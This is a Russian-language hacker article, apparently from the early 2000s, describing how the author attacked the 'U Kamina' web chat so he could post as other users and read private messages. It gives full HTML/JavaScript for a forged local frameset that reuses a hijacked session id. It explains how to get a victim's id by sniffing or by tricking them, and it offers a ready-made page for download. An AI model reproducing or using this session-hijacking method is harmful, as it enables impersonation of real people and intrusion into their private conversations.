Как я ломал чат "У
Камина" |
Сегодня я решил всё таки поведать миру о том , как я пытался
взломать полюбившийся многим чат "У Камина" Поначалу я хотел сделать эту
статью платной , так как всё описанное здесь работает , немного фантазии
могло бы привести к полному развалу чата... Ну что я всё отрывками...
Расскажу поподробнее...
Как то чятясь в приведённом выше чате, я
решил порисовать в нём используя теги не запрещённые для использования...
Получилось очень красиво , я рассылал подругам букеты роз , нарисованные
конечно , потом пытался нарисовать физиономию ( не свою) , девки были в
восторге , НО , киллерам почемуто не понравилось и они выкинули меня на
час , так продолжалось несколько недель (порисовать то хочется) Ну конечно
потом мне это очень сильно надоело и я стал думать , как бы сделать так
чтобы киллеры не могли меня выкинуть , чтобы я мог писать от чужого имени
и чтобы я мог читать чужие сообщения в привате... Ну чтобы меня не
выкинули я попытался посидеть через прокси сервер (анонимный конечно) ,
многие этот способ пробовали наверное но ничего не получилось , но почему?
Меня тоже мучил этот вопрос , потом мне один паренёк объяснил ,что админ
чата Ринат не дурак , оказывается когда мы входим в этот чат сервер не
только фиксирует твой IP , но и логин прова по которому мы выходим в инет
( не знаю как он это делает ), вот поэтому анонимный прокси сервер не
помогает. Но прокси сервер не единственный способ ,тем более с помощью его
мы же не сможем писать от чужого имени ,как то сидя в интернете по
халявному свистнутому паролю я набрёл на статью. Вот тогда то мне и
пришла мысль попробовать это испытать на полюбившемся мне чате... С
первого раза конечно ничего не получилось и я забросил... Потом примерно
через месяц друг позвал меня к себе , чтобы показать мне что ему удалось
открыть скрытые поля на начальной страничке чата "У Камина" но я то не
ламем ,я уже давно эти поля открыл только они ничего не дают. Ну мы решили
вместе раскинуть мозгами ( два мозга лучше чем один ) Ну составили HTML
код вроде всё работало в норме но нижняя панель , где мы пишем своё
сообщение и отправляем в общее окно чата , почему то не грузилась и мы
только могли сидень и наблюдать за другими людьми как они разговаривают...
Придя под вечер домой растроеный я всё-таки решил не сдаваться , я както
начинал учить HTML так что кое что в голове имелось , Посидев всю ночь над
HTML кодом у меня кое что получилось... Сначала опишу мои действия...
Первым делом заходим на начальную страничку чата и сохраняем её на
свой винд , чтобы можно было работать с ней со своего жёсткого диска.
Затем открываем сохраненную страничку и открываем HTML код, всё стираем от
туда и вставляем мой код :
<!DOCTYPE HTML
PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <!-- saved from
url=(0024)http://www.chat.tbit.ru/ -->
<HTML><HEAD><TITLE>Чат 'У Камина': общение, приваты
и фотогалереи</TITLE> <META content="text/html;
charset=windows-1251" http-equiv=Content-Type> <META
content="Ренат Фатхуллин" name=Publisher> <META content="Чат 'У
Камина': общение, приваты и фотогалереи" name=Description> <META
content="chat,chat,чат,русскоязычный чат,У
Камина,казань,CGI,чаты,скорость,кроватка,диван,халява,ренат,chat,russian,chats"
name=Keywords><LINK href="1.files/kam.css" rel=stylesheet
type=text/css> <SCRIPT
src="1.files/counters2.js"></SCRIPT>
<meta
http-equiv="Content-Type" content="text/html; charset=windows-1251">
<meta http-equiv="pragma" content="no-cache"><meta
http-equiv="expires" content=0> <title>Чат 'У
Камина'</title></head> <frameset rows="0,*,34"
frameborder=1 framespacing=1 border=1> <frame name=void
src="http://www.chat.tbit.ru/void.htm" scrolling=no noresize marginwidth=0
marginheight=0> <frameset cols="*,255"> <frame
name=messages
src="http://www.chat.tbit.ru/k.dll?c=msg&id=endnxcbazygmesx&update=1"
marginwidth=1 marginheight=1 scrolling=auto frameborder=1>
<frame name=info
src="http://www.chat.tbit.ru/k.dll?c=tr&id=endnxcbazygmesx&file=info.htm"
marginwidth=1 marginheight=1 scrolling=auto frameborder=1>
</frameset> <frame name=c
src="http://www.chat.tbit.ru/k.dll?c=ctrl&id=endnxcbazygmesx"
scrolling=no noresize marginwidth=0 marginheight=0>
</frameset></html>
<frameset
rows="80%,20%"> <frameset cols="70%,30%"> <frame
name="razg"
src="http://www.chat.tbit.ru/k.dll?c=msg&id=endnxcbazygmesx&update">
<frame name="rigt"
src="http://www.chat.tbit.ru/k.dll?c=ctrl&id=endnxcbazygmesx">
</frameset>
<frame name="bot" src="start.htm">
</frameset>
<SCRIPT
language=JavaScript> <!-- function Win(adr) { new Object() ;
} function usersdb() { new Object() ; } function getCookie(name)
{ var cookieFound = false; var start = 0; var end = 0; var
cookieString = document.cookie; var i = 0; while(i <=
cookieString.length) { start = i; end = start + name.length;
if(cookieString.substring(start,end) == name) { cookieFound = true;
break; } i++; } if(cookieFound) { start = end + 1;
end = document.cookie.indexOf("&",start); if(end < start)
end = document.cookie.length; return
document.cookie.substring(start,end); } return ""; } //-->
</SCRIPT>
<META content="MSHTML 5.00.2614.3500"
name=GENERATOR></HEAD> <BODY aLink=gold bgColor=black
link=gold text=white topMargin=1 vLink=gold marginheight="1">
<CENTER> <DIV style="LEFT: 0px; POSITION: absolute;
TOP: 0px; VISIBILITY: hidden; Z-INDEX: 100">общение в чатах без
морганий, фотогалерея и приваты, поиск участников игнор, рейтинг
чатов, знакомства, Gala Chat Любви Flirt LANgiRON LoveChat Болтушка
ЧАТ ГЕРМАНИИ ПО-РУССКИ! Заходи! Болтай Russian Chatsystem in Germany
Русский голосовой, ява и IRC чат ёпрст CITYCHAT Питерский чат B Замке
у Геральта Страсти в Песочнице EroChat К Л У М Б А </DIV><IMG
alt="Чат 'У Камина'" border=0 height=174 src="1.files/kam.gif"
width=512><BR> <TABLE border=0 cellPadding=2
cellSpacing=2> <FORM action=k.dll method=post><INPUT
name=c type=text value=enter><INPUT name=room type=text
value=endnxcbazygmesx=1> <TBODY> <TR>
<TD><FONT face=Arial,Helvetica
size=2>Имя:</FONT></TD> <TD><FONT
face=Arial,Helvetica size=2> <SCRIPT language=JavaScript>
<!-- document.write('<input type=text size=11 maxlength=30
name=nik value="'+getCookie("nik")+'">'); //-->
</SCRIPT> </FONT></TD> <TD><FONT
face=Arial size=2>Пароль:</FONT></TD>
<TD><INPUT maxLength=30 name=pass size=11
type=password></TD> <TD><INPUT border=0
src="1.files/bt_ok.gif"
type=image></TD></TR></FORM></TBODY></TABLE>
</HTML>
Теперь сохраняем и снова
обновляем страничку , это лучше всего сделать не подключенным к интернету
а то загрузится начальная страничка чата ( так как пока в в приведённом
выше HTML коде указан старый ID ) В загрузившейся страничке 3 поля как
и в чате. Теперь осталось вставить в код страницы нужный нам ID
пользователя который в данный момент находится в чате и от имени котрого
вы хотели бы писать, для этого откроем опять HTML код и в поиске наберём
"id=" , вы найдёте несколько таких слов , возле id= будет написано длинное
не имеющее смысла слово , это мой старый id который сейчас не действует ,
так вот вам осталось только подставить действующий id вместо моего и всё.
ID можно вычислить каким нибудь снифером или прогой на страничке
http://www.antichat.by.ru в разделе "Программы" которая вычисляет IP в
чатах , эта прога должна вычислять и ID но если не вычисляет нам хватит и
ip который она вычислит ( описание к программе читайте на странице где вы
её скачаете. Так вот вычислив IP нужного нам пользователя мы вносим этот
ip в какой нибудь снифер и он выдаст вам id . Можно просто спросить id у
чатланца которого вы хотите обломать (но не все они лохи, некоторые не
дадут) Я хотел попробывать вычислить ID пригласив нужного мне юзера в
приват , но не успел , чат вроде закрыли ( или он переехал на другой
сервер)
Для ленивых у меня есть готовая страничка. Качайте. Скачав вам
останецся только подставить ID и запустить страничку.
Кстати я
вычислил URL адрес по которому можно легально попасть в чат , нужно быть
зарегестрированым , http://www.chatkamin.ru/k.dll?c=enter&nik=Сюда
введите свой ник&pass=Сюда введите свой пароль&room=1
Предложения и вопросы пишите на мыло kill50@rambler.ru или по Аське: 114223239 Автор статьи Sander
Скачать готовый файл
Работа на дому. Идеи домашнего бизнеса.(очень редкий сайт)
Закажите своим детям, друзьям или родственникам письмо от Деда Мороза к Новому Году 2004
Напишите что вы думаете о этой статье
Форум по взлому и по другим вопросам
E-mail: kill50@rambler.ru |
|